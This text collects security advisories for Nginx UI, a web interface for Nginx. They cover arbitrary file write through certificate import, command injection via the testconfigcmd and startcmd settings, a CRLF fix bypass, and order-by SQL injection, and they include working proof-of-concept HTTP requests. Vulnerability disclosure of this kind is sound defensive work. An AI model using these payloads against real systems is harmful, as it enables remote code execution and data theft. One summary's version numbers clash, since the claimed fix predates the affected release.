Summary

The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system.

https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/api/certificate/certificate.go#L72

go func AddCert(c gin.Context) { var json struct { Name string json:"name" SSLCertificatePath string json:"sslcertificatepath" binding:"required" SSLCertificateKeyPath string json:"sslcertificatekeypath" binding:"required" SSLCertificate string json:"sslcertificate" SSLCertificateKey string json:"sslcertificatekey" ChallengeMethod string json:"challengemethod" DnsCredentialID int json:"dnscredentialid" } if !api.BindAndValid(c, &json) { return } certModel := &model.Cert{ Name: json.Name, SSLCertificatePath: json.SSLCertificatePath, SSLCertificateKeyPath: json.SSLCertificateKeyPath, ChallengeMethod: json.ChallengeMethod, DnsCredentialID: json.DnsCredentialID, }

err := certModel.Insert()

if err != nil { api.ErrHandler(c, err) return }

content := &cert.Content{ SSLCertificatePath: json.SSLCertificatePath, SSLCertificateKeyPath: json.SSLCertificateKeyPath, SSLCertificate: json.SSLCertificate, SSLCertificateKey: json.SSLCertificateKey, }

err = content.WriteFile()

if err != nil { api.ErrHandler(c, err) return }

c.JSON(http.StatusOK, Transformer(certModel)) }

https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/internal/cert/writefile.go#L15

go func (c Content) WriteFile() (err error) { // MkdirAll creates a directory named path, along with any necessary parents, // and returns nil, or else returns an error. // The permission bits perm (before umask) are used for all directories that MkdirAll creates. // If path is already a directory, MkdirAll does nothing and returns nil.

err = os.MkdirAll(filepath.Dir(c.SSLCertificatePath), 0644) if err != nil { return }

err = os.MkdirAll(filepath.Dir(c.SSLCertificateKeyPath), 0644) if err != nil { return }

if c.SSLCertificate != "" { err = os.WriteFile(c.SSLCertificatePath, []byte(c.SSLCertificate), 0644) if err != nil { return } }

if c.SSLCertificateKey != "" { err = os.WriteFile(c.SSLCertificateKeyPath, []byte(c.SSLCertificateKey), 0644) if err != nil { return } }

return }

PoC

POST /api/cert HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 144 Accept: application/json, text/plain, / Authorization: <JWT> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7 Connection: close

{"name":"poc","sslcertificatepath":"/tmp/test","sslcertificatekeypath":"/tmp/test2","sslcertificate":"test","sslcertificatekey":"test2"}

bash root@aze:~/nginx# ls -la /tmp/test -rw-r--r-- 1 root root 4 Jan 24 13:33 /tmp/test -rw-r--r-- 1 root root 5 Jan 24 13:33 /tmp/test2

It's possible to leverage it into an RCE in a senario by overwriting the config file app.ini - But it will require the app.

bash root@aze:~/nginx# cat app.ini | grep "StartCmd" StartCmd = login Then we overwrite the StartCmd with bash

POST /api/cert HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 980 Accept: application/json, text/plain, / Authorization: <JWT> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7 Connection: close

{"name":"poc","sslcertificatepath":"/root/nginx/app.ini","sslcertificatekeypath":"/tmp/test2","sslcertificate":"[server]\r\nHttpHost = 0.0.0.0\r\nHttpPort = 9000\r\nRunMode = debug\r\nJwtSecret = 504f334b-ac68-4fbc-9160-2ecbf9e5794c\r\nNodeSecret = 139ab224-9e9e-444f-987e-b3a651175ad5\r\nHTTPChallengePort = 9180\r\nEmail = props@pros.com\r\nDatabase = database\r\nStartCmd = bash\r\nCADir = dqsdqsd\r\nDemo = false\r\nPageSize = 10\r\nGithubProxy = dqsdqfsdfsdfsdfsd\r\n\r\n[nginx]\r\nAccessLogPath =\r\nErrorLogPath =\r\nConfigDir =\r\nPIDPath =\r\nTestConfigCmd =\r\nReloadCmd =\r\nRestartCmd =\r\n\r\n[openai]\r\nBaseUrl = \r\nToken =\r\nProxy =\r\nModel = \r\n\r\n[casdoor]\r\nEndpoint =\r\nClientId =\r\nClientSecret =\r\nCertificate =\r\nOrganization =\r\nApplication =\r\nRedirectUri =","sslcertificatekey":"test2"}

bash root@aze:~/nginx# cat app.ini | grep "StartCmd" StartCmd = bash

For the new config to be applied the app needs to be restarted

!image

Impact

Arbitrary write/overwrite into the host file system with a risk of remote code execution if the app restarts.

Summary

Fix bypass to the following bugs

- https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-pxmr-q2x3-9x9m - https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-8r25-68wm-jw35

Allowing to inject directly in the app.ini via CRLF to change the value of testconfigcmd and startcmd resulting in an Authenticated RCE

Impact Authenticated Remote execution on the host

Summary The Home > Preference page exposes a small list of nginx settings such as Nginx Access Log Path and Nginx Error Log Path. However, the API also exposes testconfigcmd, reloadcmd and restartcmd. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the API. go func InitPrivateRouter(r gin.RouterGroup) { r.GET("settings", GetSettings) r.POST("settings", SaveSettings) ... } The SaveSettings function is used to save the settings. It is protected by the authRequired middleware, which requires a valid JWT token or a X-Node-Secret which must equal the Node Secret configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings. The SaveSettings function is defined as follows: go func SaveSettings(c gin.Context) { var json struct { ... Nginx settings.Nginx json:"nginx" ... }

...

settings.NginxSettings = json.Nginx

...

err := settings.Save() ... } The testconfigcmd setting is stored as settings.NginxSettings.TestConfigCmd. When the application wants to test the nginx configuration, it uses the TestConf function: go func TestConf() (out string) { if settings.NginxSettings.TestConfigCmd != "" { out = execShell(settings.NginxSettings.TestConfigCmd)

return }

out = execCommand("nginx", "-t")

return } The execShell function is defined as follows: go func execShell(cmd string) (out string) { bytes, err := exec.Command("/bin/sh", "-c", cmd).CombinedOutput() out = string(bytes) if err != nil { out += " " + err.Error() } return } Where the cmd argument is user-controlled and is passed to /bin/sh -c. This issue was found using CodeQL for Go: Command built from user-controlled sources.

Proof of Concept Based on this setup using uozi/nginx-ui:v2.0.0-beta.7. 1. Login as a newly created user. 2. Send the following request to modify the settings with "testconfigcmd":"touch /tmp/pwned". http POST /api/settings HTTP/1.1 Host: 127.0.0.1:8080 Content-Length: 528 Authorization: <<JWT TOKEN> Content-Type: application/json

{"nginx":{"accesslogpath":"","errorlogpath":"","configdir":"","pidpath":"","testconfigcmd":"touch /tmp/pwned","reloadcmd":"","restartcmd":""},"openai":{"baseurl":"","token":"","proxy":"","model":""},"server":{"httphost":"0.0.0.0","httpport":"9000","runmode":"debug","jwtsecret":"foo","nodesecret":"foo","httpchallengeport":"9180","email":"foo","database":"foo","startcmd":"","cadir":"","demo":false,"pagesize":10,"githubproxy":""}} 3. Add a new site in Home > Manage Sites > Add Site with random data. The previously-modified testconfigcmd setting will be used when the application tries to test the nginx configuration. 4. Verify that /tmp/pwned exists. $ docker exec -it $(docker ps -q) ls -al /tmp -rw-r--r-- 1 root root 0 Dec 14 21:10 pwned

Impact

This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.

Summary Nginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings.

Details The Home > Preference page exposes a list of system settings such as Run Mode, Jwt Secret, Node Secret and Terminal Start Command. The latter is used to specify the command to be executed when a user opens a terminal from the web interface. While the UI doesn't allow users to modify the Terminal Start Command setting, it is possible to do so by sending a request to the API.

go func InitPrivateRouter(r gin.RouterGroup) { r.GET("settings", GetSettings) r.POST("settings", SaveSettings) ... }

The SaveSettings function is used to save the settings. It is protected by the authRequired middleware, which requires a valid JWT token or a X-Node-Secret which must equal the Node Secret configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings.

The SaveSettings function is defined as follows:

go func SaveSettings(c gin.Context) { var json struct { Server settings.Server json:"server" ... }

...

settings.ServerSettings = json.Server

...

err := settings.Save() ... }

The Terminal Start Command setting is stored as settings.ServerSettings.StartCmd. By spawning a terminal with Pty, the StartCmd setting is used:

go func Pty(c gin.Context) { ...

p, err := pty.NewPipeLine(ws)

... }

The NewPipeLine function is defined as follows:

go func NewPipeLine(conn websocket.Conn) (p Pipeline, err error) { c := exec.Command(settings.ServerSettings.StartCmd)

... This issue was found using CodeQL for Go: Command built from user-controlled sources.

Proof of Concept Based on this setup using uozi/nginx-ui:v2.0.0-beta.7. 1. Login as a newly created user. 2. Send the following request to modify the settings with "startcmd":"bash" : http POST /api/settings HTTP/1.1 Host: 127.0.0.1:8080 Content-Length: 512 Authorization: <<JWT TOKEN>> Content-Type: application/json

{"nginx":{"accesslogpath":"","errorlogpath":"","configdir":"","pidpath":"","testconfigcmd":"","reloadcmd":"","restartcmd":""},"openai":{"baseurl":"","token":"","proxy":"","model":""},"server":{"httphost":"0.0.0.0","httpport":"9000","runmode":"debug","jwtsecret":"...","nodesecret":"...","httpchallengeport":"9180","email":"...","database":"foo","startcmd":"bash","cadir":"","demo":false,"pagesize":10,"githubproxy":""}} 3. Open a terminal from the web interface and execute arbitrary commands as root: root@1de46642d108:/app# id uid=0(root) gid=0(root) groups=0(root)

Impact This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.

Summary The OrderAndPaginate function is used to order and paginate data. It is defined as follows: go func OrderAndPaginate(c gin.Context) func(db gorm.DB) gorm.DB { return func(db gorm.DB) gorm.DB { sort := c.DefaultQuery("order", "desc")

order := fmt.Sprintf("%s %s", DefaultQuery(c, "sortby", "id"), sort) db = db.Order(order)

... } } By using DefaultQuery, the "desc" and "id" values are used as default values if the query parameters are not set. Thus, the order and sortby query parameter are user-controlled and are being appended to the order variable without any sanitization. The same happens with SortOrder, but it doesn't seem to be used anywhere. go func SortOrder(c gin.Context) func(db gorm.DB) gorm.DB { return func(db gorm.DB) gorm.DB { sort := c.DefaultQuery("order", "desc") order := fmt.Sprintf("%s %s", DefaultQuery(c, "sortby", "id"), sort) return db.Order(order) } } This issue was found using CodeQL for Go: Database query built from user-controlled sources.

Proof of Concept Based on this setup using uozi/nginx-ui:v2.0.0-beta.7. In order to exploit this issue, we need to find a place where the OrderAndPaginate function is used. We can find it in the GET /api/dnscredentials endpoint. go func GetDnsCredentialList(c gin.Context) { cosy.Coremodel.DnsCredential.SetFussy("provider").PagingList() } The PagingList function is defined as follows: go func (c Ctx[T]) PagingList() { data, ok := c.PagingListData() if ok { c.ctx.JSON(http.StatusOK, data) } } And the PagingListData function is defined as follows: go func (c Ctx[T]) PagingListData() (model.DataList, bool) { result, ok := c.result() if !ok { return nil, false }

result = result.Scopes(c.OrderAndPaginate()) ... } Using the following request, an attacker can retrieve arbitrary values by checking the order used by the query. That is, the result of the comparison will make the response to be ordered in a specific way. http GET /api/dnscredentials?sortby=(CASE+WHEN+(SELECT+1)=1+THEN+id+ELSE+updatedat+END)+ASC+--+ HTTP/1.1 Host: 127.0.0.1:8080 Authorization: <<JWT TOKEN> You can notice the order change by changing =1 to =2, and so the comparison will return false and the order will be updatedat instead of id.

Impact This issue may lead to Information Disclosure

Nginx UI is a web user interface for the Nginx web server. Nginx UI v2.0.0-beta.35 and earlier gets the value from the json field without verification, and can construct a value value in the form of ../../. Arbitrary files can be written to the server, which may result in loss of permissions. Version 2.0.0-beta.26 fixes the issue.

Nginx UI is a web user interface for the Nginx web server. Prior to version 2.0.0-beta.36, the log path of nginxui is controllable. This issue can be combined with the directory traversal at /api/configs to read directories and file contents on the server. Version 2.0.0-beta.36 fixes the issue.

Nginx UI is a web user interface for the Nginx web server. Prior to version 2.0.0-beta.36, when Nginx UI configures logrotate, it does not verify the input and directly passes it to exec.Command, causing arbitrary command execution. Version 2.0.0-beta.36 fixes this issue.